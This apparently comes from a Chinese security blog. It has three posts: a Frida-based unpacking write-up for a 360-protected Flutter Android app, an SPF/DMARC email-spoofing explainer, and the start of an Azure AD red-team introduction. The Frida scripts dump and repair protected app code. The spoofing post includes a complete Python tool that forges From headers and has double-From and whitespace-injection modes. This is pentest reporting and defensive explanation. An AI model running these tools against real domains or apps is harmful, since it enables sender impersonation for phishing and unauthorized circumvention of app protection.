运行命令 frida -U -F -l dump_force.js 后，终端刷出了一片绿色的 [+] 权限修改成功。

随后我使用 adb pull /sdcard/Download/ . 将文件拉回电脑，得到了几个关键文件：

dump_0x70316bc000.dex (约 8MB)
dump_0x7031655480.dex (约 6.7MB)

这一步，战胜了 Android 16 的权限限制，拿到了加密后的内存镜像。

0x03 迷雾：看起来完美的“空壳”

由于是从内存 dump 的，文件头部的 Checksum（校验和）通常是错的。直接拖入 JADX 会报错。

我编写了一个简单的 Python 脚本修复了校验和，然后将那个 8MB 的 DEX 文件拖入 JADX。

import zlib
import struct
import os
import glob

def fix_dex_checksum(filename):
    with open(filename, 'rb') as f:
        data = bytearray(f.read())

    # DEX 文件至少要有头部信息
    if len(data) < 12:
        print(f"[-] {filename} is too small, skipping.")
        return

    # 1. 修复文件长度 (FileSize) - Offset 32 (0x20), 4 bytes
    # 有些 dump 下来的文件长度可能和 header 里的不一样，顺便修了
    file_size = len(data)
    struct.pack_into('<I', data, 32, file_size)

    # 2. 修复签名 (Signature) - Offset 12 (0xC), 20 bytes (SHA-1)
    # JADX 有时候不校验签名只校验 checksum，但为了保险，标准修复通常会做 SHA1
    # 3. 修复校验和 (Checksum) - Offset 8 (0x8), 4 bytes
    # 校验范围：从 offset 12 开始到文件结束
    # 算法：Adler-32
    ignored_part = data[0:12]
    checksum_part = data[12:]
    
    new_checksum = zlib.adler32(checksum_part) & 0xFFFFFFFF
    
    # 将新的 checksum 写入 offset 8 (小端序)
    struct.pack_into('<I', data, 8, new_checksum)

    # 保存覆盖原文件
    with open(filename, 'wb') as f:
        f.write(data)
    
    print(f"[+] Fixed Checksum for: {filename}")

# 扫描当前目录下所有的 dump_force 开头的 dex
dex_files = glob.glob("dump_force_*.dex")

if not dex_files:
    print("No dump_force_*.dex files found in current directory.")
else:
    print(f"Found {len(dex_files)} dex files. Fixing...")
    for dex in dex_files:
        try:
            fix_dex_checksum(dex)
        except Exception as e:
            print(f"[-] Error fixing {dex}: {e}")

    print("Done! Try opening them in JADX now.")

JADX 成功反编译了，左侧的包结构非常清晰：

android.support.*
com.qihoo.util.* (壳代码)
cn.com.ljzxx.* (目标包名)

但当我兴奋地点开 cn.com.ljzxxc 下的业务类时，傻眼了：

Java

// LoginActivity.java
public class LoginActivity extends Activity {
    public void onCreate(Bundle bundle) {
        // 空的！或者只有一行 super.onCreate(bundle);
    }
    
    public void login() {
        // 空的！
    }
}

所有的方法体要么是空的，要么全是 nop 指令，要么只有简单的 return。

这里的思考

这非常符合 “二代壳（函数抽取/类抽取）” 的特征。

原理：加固厂商把 DEX 里的具体指令（Code Item）抽走了，填入空数据。只有当这个方法被真正调用时，壳的代码才会拦截执行流，从别的地方（通常是加密的 bin 文件）解密出指令，填回去，执行完再抹掉。
结论：我 Dump 下来的是“未填充”的骨架。

0x04 挣扎：FART 主动调用的死胡同

既然是“用时恢复”，那破解思路就是 “主动触发” 。这就是著名的 FART (Fast Android Art Unpacker) 原理。

只要我写个脚本，把 APP 里所有的类加载一遍，把所有函数都“摸”一遍，壳就不得不解密代码，我再趁机 Dump。

我编写了一个基于 Frida 的 FART 模拟脚本 fart_memory.js：

// fart_memory.js - 模拟 FART 主动调用
Java.perform(function() {
    console.log("[*] 开始遍历内存中的类...");
    
    // 1. 遍历所有已加载的类
    Java.enumerateLoadedClasses({
        onMatch: function(name) {
            // 过滤：只处理目标包名
            if (name.startsWith("cn.com.ljzitc")) {
                console.log("[*] 尝试预热类: " + name);
                try {
                    // 2. 强行加载类
                    var clazz = Java.use(name);
                    // 3. 反射获取所有方法，触发壳的解密逻辑
                    var methods = clazz.class.getDeclaredMethods();
                    console.log("    - 触发解密成功，方法数: " + methods.length);
                } catch (e) {
                    console.log("    - 失败: " + e);
                }
            }
        },
        onComplete: function() {
            console.log("[SUCCESS] 遍历结束，请立刻 Dump！");
        }
    });
});

结果令人绝望：

脚本运行后，只打印出了寥寥无几的几个类：

cn.com.ljzitc.R$id
cn.com.ljzitc.R$layout
cn.com.ljzitc.BuildConfig

根本没有 LoginActivity，没有 Utils，没有任何业务类

这意味着这些核心类根本没有被加载到 Java 虚拟机中，或者 360 用了某种（如自定义 ClassLoader）把它们从 enumerateLoadedClasses 的列表中隐藏了。

我随后尝试了更底层的 Java.choose("dalvik.system.DexFile", ...) 去扫描堆内存，结果因为 Android 16 移除了相关 API 而报错。

0x05 结果：方向错了！

我在 Java 层折腾了整整一天，尝试了脱壳、修复、主动调用、内存扫描，结果依然是一具空壳。

疑点：如果核心代码都被抽取了且没加载，那现在的 APP 界面是谁在跑？登录框是谁画出来的？

我重新审视了那个 8MB 的 DEX 文件。虽然代码是空的，但我决定看看里面的字符串常量池。

我用 strings 命令（或记事本）搜索文件内容，突然，一行不起眼的路径映入眼帘：

/data/app/~~xxx/cn.com.ljzitc.../lib/arm64/libapp.so

libapp.so？这是一个非标准的 SO 命名。

我立刻解压了原始 APK，打开 lib/arm64-v8a/ 目录。

那一刻，真相大白：

libflutter.so   <-- 引擎
libapp.so       <-- 业务代码

这是一个 Flutter 应用！

最终结论

为什么 DEX 是空的？ 因为 Flutter 应用的业务逻辑（Dart 代码）是 AOT 编译成机器码放在 libapp.so 里的。DEX 里只有 Java 层的启动引导代码，本来就没多少东西。
360 保护了什么？ 360 确实加了壳，但它主要保护的是 Java 层（虽然没啥用）和 加密了 libapp.so。
我的错误：我一直在试图脱掉它的衣服找肉体，结果发现衣服下面是机械骨骼,完全就是搞错对象了。

下一步行动：

放弃 DEX，放弃 FART。

目标锁定：libapp.so。我们需要从内存中 Dump 出这个文件，然后进行 Dart 逆向。

我们将视角从 Java 层的死胡同拉出来，正式进入 Native 层与 Flutter 虚拟机的深水区。这一部分的战斗更加硬核，涉及到内存黑洞、环境依赖地狱以及指针修正等底层细节。

历经千辛万苦利用暴力提权脚本 Dump 出了 DEX 文件，结果发现全是空壳。通过分析文件残留字符串，我确认这是一个 Flutter 应用。真正的业务逻辑藏在 Native 层的 libapp.so 中。

~~现在的任务很明确：~~~~拿到~~ ~~~~libapp.so~~~~ ~~->~~ ~~还原 Dart 代码 ->~~ ~~Hook 获取明文。~~

但这在 Android 16 + 360 加固的组合拳下，比我想象的难得多。

第二阶段:0x01 尝试1：提取 libapp.so 的三大难关

360 加固对 SO 文件的保护通常是“压缩 + 加密 + 内存加载”。直接解压 APK 得到的是加密文件，必须从内存中 Dump。

写了一个 Frida 脚本去 Dump，结果脚本刚跑起来就崩了。

难关一：API 的“失踪”

在 Android 16 上，Frida 常用的 Module.findBaseAddress("libapp.so") 竟然抛出了 TypeError: not a function 或者找不到模块。

原因：Android 16 对 Linker 做了一些改动，导致 Frida 的部分上层 API 兼容性出现问题。

解决：我被迫使用了更底层的 Process.findModuleByName("libapp.so")，这个 API 依然坚挺。

难关二：内存“黑洞”

解决了基址问题后，我尝试读取整个 SO 文件大小的内存 (readByteArray(module.size))。结果脚本再次崩溃，报错 Access Violation。

原因：360 加固，它加载 SO 后，会把 ELF 头（Header）或者某些不用的 Section 所在的内存页取消映射或者设为不可读。试图一口气读完整个文件，只要碰到这几页“黑洞”，就会引发崩溃。

对策：分块容错读取（Chunked Dump）

我重写了脚本，像切香肠一样，每次只读 4KB（一页）。

读到了？写入文件。
读不到（报错）？填入 4KB 的 0x00 占位，跳过这一页。
这样既保证了文件不崩，又保证了偏移量（Offset）不乱——这对后续分析至关重要。

难关三：无处安放的“家”

脚本想把文件写到 /data/local/tmp，结果报错 Permission denied。

原因：Android 16 的 SELinux 策略到了变态的地步，普通 APP 进程（Frida 注入后属于 APP 进程）根本无权写入这个公共目录。

解决：利用 Java 反射获取 APP 自己的私有目录 getFilesDir()，回自己家写文件总没人管了吧！

🎯 最终成果脚本 (`dump_so_final.js`)

var target_so = "libapp.so";

Java.perform(function() {
    // 1. 兼容性查找模块
    var module = Process.findModuleByName(target_so);
    
    // 2. 获取私有目录路径 (Android 16 避坑)
    var currentApp = Java.use("android.app.ActivityThread").currentApplication();
    var save_path = currentApp.getApplicationContext().getFilesDir().getAbsolutePath() + "/" + target_so + ".dump";
    var file = new File(save_path, "wb");

    // 3. 分块抗崩溃读取
    var currentPtr = module.base;
    var remaining = module.size;
    var pageSize = 4096;

    console.log("[*] 开始分块提取，遇到坏块自动填0...");
    while (remaining > 0) {
        try {
            var buffer = currentPtr.readByteArray(pageSize);
            file.write(buffer);
        } catch (e) {
            // 遇到 360 挖的坑，填 0 补齐，保持偏移量正确
            file.write(new Uint8Array(pageSize).buffer);
        }
        currentPtr = currentPtr.add(pageSize);
        remaining -= pageSize;
    }
    file.close();
    console.log("[Success] 提取完成！路径: " + save_path);
});

运行脚本后，我通过 Root 权限将这个 13MB 的文件从私有目录 cp 到了 SD 卡，终于把它拿到了电脑上。

‍

0x02 尝试2：Blutter 与环境的配置

拿到了 libapp.so.dump，但这只是二进制机器码（Dart AOT Snapshot）。如果不还原符号，这就跟看天书一样。我需要 Blutter 帮我把机器码翻译回 Dart 伪代码。

Windows 环境的“劝退”

我首先在 Windows 上尝试运行 Blutter。

CMake Error: 找不到编译器。
Ninja not found: 找不到构建工具。
最绝望的是 Failed to find all ICU components。Dart VM 的编译依赖 ICU 库，在 Windows 上配置这个简直是噩梦。

决策：不要在 Windows 上浪费生命配置环境。

果断打开了 kali。Linux 下配环境只需要一行命令：

Bash

# 一键安装所有编译依赖
sudo apt update && sudo apt install -y ninja-build build-essential cmake pkg-config libicu-dev git

修复与分析

因为文件是从内存 Dump 的，ELF 头部是损坏的，直接喂给 Blutter 会报错。

修复头：使用 SoFixer 工具：SoFixer -s libapp.so.dump -o libapp.so。
准备引擎：从原始 APK 解压出 libflutter.so。
开始分析：python3 blutter.py input output。

看着 kali 终端里滚动的进度条，我知道稳了。

几分钟后，output/asm 目录下出现了一堆熟悉的文件名：

loginPwd.dart
encrypt.dart
Authentication.dart

打开 loginPwd.dart，我不仅看到了逻辑结构，还看到了关键信息：

‍

0x03 最终：我没辙了

准备动态加载 JS 呢进行调试呢。搞来搞去怎么样也不对，登录之后获取 hexdump 获取不到明文的返回，放弃了。
~~我本身抓包的参数就是明文，一开始的出发点也只是审计代码漏洞，没想到越跑越歪。~~

发现后面有些困难了，中间丢失了一些图和内容。。我也忘记了。

总之坑点在于，看到 Flutter 后，就干脆跑路吧，Flutter 编译后，只能 hook 二进制流 dump 出来。

这玩意可能无解了，这还加固什么劲?

‍

📝 复盘总结

回看整个过程，如果一开始我就知道它是 Flutter，我完全可以跳过第一章和第二章的几十个小时折腾。

这次逆向最大的教训是：不要在错误的战场浪费时间。

识别架构：如果 DEX 脱出来是空的，第一时间检查 lib 目录有没有 libflutter.so 或 libcocos.so。如果是 Flutter，直接放弃 Java 层分析。
环境适配：Android 16 对 Frida 的兼容性很不友好。当标准 API (Module.findBaseAddress) 失效时，要灵活尝试底层 API (Process)。当公共目录写不进去时，要想到利用 App 的私有目录。
工具链组合：Frida (动态提取) + SoFixer (修复头) + Blutter (还原符号) 。

有关SPF邮件信息伪造的内容

Fri, 02 Jan 2026 00:00:00 GMT

为什么我能假冒你们 CEO 发邮件？（即便你以此为豪配置了 SPF）

很简单的一件事，就是客户的域名配置了SPF，但是给的是软策略，基本上邮件都能通过，今天被监管通报了。

大概差不多就是这样吧，图是我后面补的。

关于邮件这一块我也了解得不深，基本不会遇到这种有效的漏洞，这次恰好测试就干脆记录一下。

有关SPF的查询，可以到这里进行：https://www.site24x7.cn/zhcn/tools/spf-validator.html

‍

状态会有4种，大概解释一下。

这四个符号（-, ~, ?, +）被称为 SPF 限定符 (Qualifiers)，它们决定了“当发信 IP 不在允许列表中时，接收方该怎么处理”。

我们可以把邮件服务器比作小区的保安，IP 地址就是访客的身份证。

SPF的四种状态码

1. Hard Fail

-all

含义：硬拒绝。只有列表里的 IP 能发，其他的全是伪造，直接拒收。
保安视角：“我手里有一份白名单。只有名单上的人能进。**所有不在名单上的人，直接拿棍子打出去！**连门都不让进。”
后果：邮件直接被 SMTP 层级拒绝（550 Error），发件人会收到退信。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 -all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：QQ/Gmail 服务器说：“你不是 1.1.1.1，并且策略是 -all，**滚**。”

2. Soft Fail

~all

含义：软拒绝。不在列表里的 IP 也能发，但会被标记为“可疑”或垃圾邮件。
保安视角：“我手里有白名单。不在名单上的人...我想拦，但我老板（管理员）怕拦错了客户。行吧，你进去吧，但我在你背上贴个条子：‘此人可疑’ 。”
后果：邮件会被接收，但极大概率进入垃圾箱，或者显示红色警告。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 ~all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：能够发送成功，但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”，或者直接躺在垃圾箱里。这是目前互联网最常见的配置（为了防止误杀）。

3. Neutral

?all

含义：中立。不做任何声明。不管 IP 在不在列表里，我都“不置可否”。
保安视角：“我手里没有名单，或者说我懒得管。你是谁？我不知道。能不能进？你自己问屋里人去。 ”
后果：SPF 检查结果是 Neutral，邮件通常会被放行进入收件箱（除非内容本身太像垃圾邮件）。这等于配置了个寂寞。
举例：
- 配置：

v=spf1 ip4:1.1.1.1 ?all

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：大摇大摆进入收件箱，不做任何拦截。

4. Allow All

+all

含义：全通过。任何 IP 都是合法的发件人。
保安视角：“大门敞开！谁都可以进！ 面具人、强盗、骗子，统统欢迎！”
后果：任何黑客都可以完美伪造你的域名，且 SPF 检查结果是 PASS。
举例：
- 配置：

v=spf1 +all

(极少见，除非是测试或者蜜罐)

- **攻击**：黑客用 IP

2.2.2.2

伪造邮件。

- **结果**：邮件不仅进了收件箱，而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**

‍

| 符号 | 模式 | 伪造难度 | 后果 | 推荐度 | | --- | --- | --- | --- | --- | | -all | Hard Fail | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | 推荐 (只要确保 IP 没漏填) | | ~all | Soft Fail | ⭐⭐⭐ (一般) | 进垃圾箱 | 过渡期推荐 | | ?all | Neutral | ⭐ (极低) | 进收件箱 | 不推荐 | | +all | Pass | ☠️ (无) | SPF Pass | 绝对禁止 |

很遗憾的就是客户设置的就是 ~all 导致邮箱伪造发信人通过。

后来测试已经-all。

另外一种绕过可能：

我们域名早在八百年前就配了 SPF v=spf1 ... -all，硬拒绝策略！稳得很。

真的如此吗？

虽然 -all 防御了直接的 SPF 欺骗，但作为安全工程师，你必须知道单纯的 SPF -all 依然存在被绕过的可能，这就是为什么还需要 DMARC。

绕过场景（Header From 欺骗）： 如果攻击者稍微聪明一点，使用以下配置发送邮件：

Envelope From (信封发件人/Return-Path) : attacker@evil-domain.com (攻击者自己的域名，且攻击者IP在 evil-domain.com 的 SPF 允许列表中 —— SPF 检查通过)
Header From (邮件头显示的发件人) : admin@baidu.com (你的域名)

结果：

邮件接收方检查 Envelope From 的 SPF，结果是 PASS（因为查的是攻击者的域名）。
用户在客户端里看到的却是 admin@baidu.com。
结论：如果没有配置 DMARC 来强制要求“Header From”和“Envelope From”保持一致，SPF -all 也无法防御这种“挂羊头卖狗肉”的欺骗。

在邮件协议这个古老的世界里，有时候“看大门的”和“前台接待”根本不是一伙人。

其实这也是很常见的一种邮件代发策略，简单扒一扒这个让绕过思路。

1. 邮件协议的“精神分裂”

要理解这个漏洞，你得先知道一个冷知识：SMTP 协议是 40 多年前设计的。那个年代的互联网全是君子，大家互相信任，压根没考虑过有人会撒谎。

所以，SMTP 在设计上把“信封”和“信纸”完全分开了。

信封上的发件人 (Envelope Sender) ：这是给邮局（邮件服务器）看的，用来决定退信退给谁。
- 技术黑话叫 MAIL FROM 。
信纸上的落款 (Header From) ：这是给收信人（你我）看的，显示在 outlook 或手机屏幕上。
- 技术黑话叫 From 。

漏洞就在这儿： 现有的 SPF 检查，就像是一个看大门的保安。他非常尽职，但他只检查信封。只要快递员（发送方服务器）拿的信封是合法的（比如我用网易账号发信，信封写的是网易，网易服务器当然认可），保安就放行了：“进去吧，没毛病。”

至于信封里面的信纸上，落款写的是“马化腾”还是“丁磊”，保安压根不看。

这就是为什么我能绕过你的 SPF：

我的信封：用我的网易账号 (XXXX@163.com) —— SPF 检查通过！ (因为我确实拥有这个账号)
我的信纸：写上你们公司 CEO 的名字 (admin@baidu.com) —— 用户被骗！

这就叫“挂羊头卖狗肉”。

2. 红队视角：花式绕过姿势

其实，只要你没上 DMARC，你在红队眼里基本就是裸奔。除了上面这种最经典的“信头欺骗”，我们还有很多好玩的手段。

姿势一：“我帮朋友代发”

当你用 Outlook 或者手机收邮件时，有时候会看到一行灰色小字：“由 xxx 代发”。这是邮件客户端良心发现，看到了信封和信纸不一致，特意提醒你。

这种提醒也可以通过注册相近域名自建SMTP解决。

姿势二：视觉欺骗

如果你的防御真的滴水不漏（上了 DMARC p=reject），那我就不攻击你的域名了，我去注册一个 baidu.com.cn（把中间的 i 换成 l）。在手机那么小的屏幕上，加上紧张的工作节奏，有几个人能一眼看出来？这种域名我自己注册的，SPF、DMARC 全套我都配齐，正规得不能再正规了，当然这是后话了。

3. 怎么修？

别再迷信 SPF -all 了，他不完全起作用。

要想真正关上这扇门，你得凑齐邮件安全套：

DKIM (防篡改) ：这就好比给信封加了个封泥。发信时服务器用私钥盖个章，收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。
DMARC (终极BOSS) ：这才是解决“信封信纸不一致”的唯一解药。 DMARC 就像是给保安下了一道死命令： “必须拆开信封检查！如果信纸上的落款跟信封对不上，直接把信给我撕了！”
- 建议配置：v=DMARC1; p=reject; aspf=s; adkim=s;
- 注意：别上来就 Reject，不然你们公司的市场部发不出去邮件会来砍你。先开 p=none 观察几天，再慢慢收紧。

4. 总结一句

邮件安全其实不难，难的是很多人还在用几十年前的老眼光看问题。 信任是脆弱的。 在这个零信任的时代，永远不要相信“发件人”那一行字，除非 DMARC 告诉你：它是真的。

‍

提供一个我写的测试脚本：

import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
    """
    检查目标域名的 SPF 记录
    """
    print(f"[*] 正在检查域名: {domain}")
    try:
        answers = dns.resolver.resolve(domain, 'TXT')
        spf_record = None
        for rdata in answers:
            txt_string = rdata.to_text().strip('"')
            if 'v=spf1' in txt_string:
                spf_record = txt_string
                break
        
        if spf_record:
            print(f"[+] 发现 SPF 记录: {spf_record}")
            return spf_record
        else:
            print("[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。")
            return None
    except Exception as e:
        print(f"[-] DNS 查询失败 (可能无记录): {e}")
        return None

def analyze_spf(spf_record):
    """
    分析 SPF 记录的安全性
    """
    print("\n--- SPF 策略分析 ---")
    if not spf_record:
        print("[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。")
        return True # 无记录，易受攻击

    if "-all" in spf_record:
        print("[*] 策略模式: Hard Fail (-all)")
        print("    解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。")
        print("    伪造难度: ⭐⭐⭐⭐⭐ (极高)")
        print("    注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。")
        return False
    elif "~all" in spf_record:
        print("[!] 策略模式: Soft Fail (~all)")
        print("    解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。")
        print("    伪造难度: ⭐⭐⭐ (一般)")
        print("    注意: 邮件能发出去，但大概率进垃圾箱。")
        return True
    elif "?all" in spf_record:
        print("[!] 策略模式: Neutral (?all)")
        print("    解释: 中立。不置可否，通常会被接收方放行进入收件箱。")
        print("    伪造难度: ⭐ (低)")
        return True
    elif "+all" in spf_record:
        print("[!!!] 策略模式: Allow All (+all)")
        print("    解释: 允许所有。大门敞开，任何人都可以合法伪造。")
        print("    伪造难度: ☠️ (无)")
        return True
    else:
        print("[?] 未检测到明确的 'all' 策略，默认安全策略未知，可能允许。")
        return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name="System Admin", exploit_type='none'):
    """
    发送邮件 function
    """
    # 如果未指定具体的发件人地址，默认伪造 admin@domain
    if not sender_address:
         sender_address = f"admin@{sender_domain}"

    subject = f"Work Report: {sender_domain}"
    body = f"""
    Hello,
    
    This is a routine system notification.
    
    Sender: {sender_address}
    Server: {smtp_host}
    
    Please confirm receipt.
    
    Best regards,
    {sender_name}
    """

    msg = MIMEMultipart()
    
    # --- 构造 From 头 (核心攻击逻辑) ---
    fake_from = formataddr((Header(sender_name, 'utf-8').encode(), sender_address))
    
    # 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
    real_user = smtp_user if smtp_user else sender_address
    real_from = formataddr((Header("Legit Sender", 'utf-8').encode(), real_user))

    if exploit_type == 'double-from':
        print("[!] 正在使用 USENIX'21 攻击: Double From Headers (双重头)")
        # 插入两个 From 头
        # 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
        # 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
        msg.add_header('From', fake_from) 
        msg.add_header('From', real_from)
        
    elif exploit_type == 'space-injection':
        print("[!] 正在使用 USENIX'21 攻击: Whitespace Injection (空格注入)")
        # 在邮箱地址尾部注入空格 "admin@baidu.com "
        # 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
        malformed_address = f"{sender_address} " # 注意这里的空格
        # 需要手动构造，因为 formataddr 可能会自动修正
        msg['From'] = f"{Header(sender_name, 'utf-8').encode()} <{malformed_address}>"
        
    elif obfuscate:
        # 腾讯云文章思路: From 字段名截断绕过
        print("[!] 正在应用 Header 混淆 (Padding)...")
        padding = " " * 500  
        display_name = f"{sender_name} from {sender_domain}" + padding
        msg['From'] = formataddr((display_name, sender_address))
    else:
        # 默认模式
        encoded_name = Header(sender_name, 'utf-8').encode()
        msg['From'] = formataddr((encoded_name, sender_address))
        
    msg['To'] = target_email
    msg['Subject'] = subject
    msg['Date'] = formatdate(localtime=True)
    msg.attach(MIMEText(body, 'plain'))

    print("\n" + "="*40)
    print(f"[*] 准备发送邮件...")
    print(f"    SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})")
    print(f"    认证用户: {smtp_user if smtp_user else '无 (匿名)'}")
    print(f"    伪造发件人 (From): {sender_address}")
    print(f"    目标收件人 (To):   {target_email}")
    print("="*40)

    try:
        server = None
        if use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            # 尝试 StartTLS
            try:
                server.starttls()
            except:
                pass 

        # 登录 (如果提供了密码)
        if smtp_user and smtp_pass:
            print("[*] 正在登录 SMTP 服务器...")
            server.login(smtp_user, smtp_pass)
            print("[+] 登录成功")

        # 发送
        # 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
        # 但我们可以在 DATA 内容中修改 'From' 头来尝试欺骗客户端显示
        
        # 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
        # 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
        envelope_sender = smtp_user if smtp_user else sender_address

        server.sendmail(envelope_sender, target_email, msg.as_string())
        server.quit()
        print("[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。")
        
    except smtplib.SMTPAuthenticationError:
        print("[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。")
    except Exception as e:
        print(f"[-] 发送失败: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description="SPF 伪造测试工具 (支持 SMTP 认证)")
    
    parser.add_argument("domain", help="要测试的目标域名 (例如 company.com)")
    parser.add_argument("--to", help="接收测试邮件的邮箱地址")
    parser.add_argument("--sender", help="伪造的发件人地址 (可选，默认 admin@domain)")
    
    # SMTP 配置
    parser.add_argument("--smtp-host", default="127.0.0.1", help="SMTP 服务器地址 (默认 127.0.0.1)")
    parser.add_argument("--smtp-port", type=int, default=25, help="SMTP 端口 (QQ SSL 用 465)")
    parser.add_argument("--user", help="SMTP 认证用户名 (例如 your_qq@qq.com)")
    parser.add_argument("--password", help="SMTP 认证密码/授权码")
    parser.add_argument("--ssl", action="store_true", help="使用 SSL 连接 (QQ 邮箱必须开启)")
    parser.add_argument("--obfuscate", action="store_true", help="[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)")
    parser.add_argument("--name", default="System Admin", help="伪造的发件人显示名称 (例如 'IT 安全中心')")
    parser.add_argument("--exploit-type", choices=['none', 'double-from', 'space-injection'], default='none', help="[核弹级] USENIX'21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)")

    args = parser.parse_args()

    # 自动处理用户可能输入的邮箱地址 (如 test@domain.com -> domain.com)
    if "@" in args.domain:
        print(f"[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...")
        args.domain = args.domain.split("@")[-1]

    # 步骤 1: 检查 SPF
    record = check_spf(args.domain)
    is_vulnerable = analyze_spf(record)

    # 步骤 2: 发送测试 (如果提供了接收者)
    if args.to:
        if not is_vulnerable:
             print("\n" + "!"*50)
             print("[警告] 该域名 SPF 配置非常严格 (-all)。")
             print("       直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。")
             print("       除非你正在测试 'DMARC 绕过/信头欺骗' (使用真实账号发信)，否则请做好失败准备。")
             print("!"*50 + "\n")
             
        send_fake_email(
            sender_domain=args.domain, 
            sender_address=args.sender,
            target_email=args.to,
            smtp_host=args.smtp_host,
            smtp_port=args.smtp_port,
            smtp_user=args.user,
            smtp_pass=args.password,
            use_ssl=args.ssl,
            obfuscate=args.obfuscate,
            sender_name=args.name,
            exploit_type=args.exploit_type
        )
    else:
        print("\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。")

if __name__ == "__main__":
    main()

‍

红队视角下的AzureAD攻防

Wed, 24 Dec 2025 00:00:00 GMT

红队视角下的AzureAD攻防

　　‍

AzureAD/Azure/AD

　　Azure AD，是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。

　　注:2023 年 6 月 21 日起，Azure AD，现在正式更名为 Microsoft Entra ID，但是以下，我还是将他称为 AzureAD。

　　Microsoft Azure ID 的主要功能包括：

身份验证和授权： 验证用户身份并控制他们对资源的访问权限。
单点登录 (SSO)： 用户使用一组凭据访问多个应用程序。
多重身份验证 (MFA)： 通过要求额外的验证因素（如短信验证码或指纹）来增强安全性。
设备管理： 管理和保护连接到组织网络的设备。
自助服务密码重置： 用户可以自行重置密码，无需联系 IT 支持。
与本地 Active Directory 集成： 将云身份管理与本地身份管理相结合。

　　‍

AD or AAD？

　　这是一个很有趣的问题，首先分清楚两者之间的一个功能性概念。

　　AD:“Active Directory"的缩写，简单来说就是本地域服务，Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ，基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。

　　AAD：”Azure Active Directory”利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。

| 特性 | Windows AD（Active Directory） | Azure AD（Microsoft Entra ID） | | --- | --- | --- | | 部署类型 | 本地部署，需要在组织的服务器上安装和维护 | 云部署，由 Microsoft 托管和维护 | | 主要用途 | 管理本地 Windows 环境中的用户、计算机和资源，例如文件服务器、打印机和应用程序 | 管理云应用程序和资源的访问，例如 Microsoft 365、Azure 服务和 SaaS 应用程序 | | 身份验证协议 | Kerberos、NTLM | SAML、WS-Federation、OAuth 2.0、OpenID Connect | | 目录结构 | 基于树状结构的组织单位 (OU) | 基于扁平结构的组 | | 组策略 | 支持组策略对象 (GPO)，用于集中管理 Windows 设置和配置 | 不直接支持组策略，但可以使用 Intune 等工具实现类似功能 | | 访问控制 | 基于访问控制列表 (ACL) | 基于角色的访问控制 (RBAC) 和条件访问策略 | | 单点登录 (SSO) | 支持本地应用程序的 SSO，但需要额外的配置 | 支持云应用程序的 SSO，通常开箱即用 | | 多重身份验证 (MFA) | 支持 MFA，但需要额外的配置 | 支持 MFA，并且易于配置 | | 自助服务 | 支持自助服务密码重置和解锁帐户，但需要额外的配置 | 支持自助服务密码重置、解锁帐户和注册设备，通常开箱即用 | | 许可模式 | 通常作为 Windows Server 操作系统的一部分提供，需要购买 Windows Server 许可证 | 提供免费版和付费版，付费版提供更多高级功能 | | 适用场景 | 适用于主要使用本地 Windows 应用程序和资源的组织，或者需要严格控制本地环境的组织 | 适用于主要使用云应用程序和资源的组织，或者需要灵活、可扩展的身份和访问管理解决方案的组织 | | 集成 | 可以与 Azure AD 集成，实现混合身份管理 | 可以与 Windows AD 集成，实现混合身份管理 | | 其他功能 | 提供其他功能，如 DNS、DHCP 和证书服务 | 提供其他功能，如设备管理、应用程序代理、自助服务组管理和动态组 |

　　所以 AD 和 AAD 不是一个完全相同的东西，唯一的相同之处就是都是一个提供信任服务的模式。

　　传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。

　　这里又申引出来一个概念，即 Azure AD 和 Azure 的关系。

Azure or Azure AD？

　　Azure 是微软家族很大的一个云服务平台，而 AzureAD 只是其中的一个产品之一。

　　‍

　　从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系，

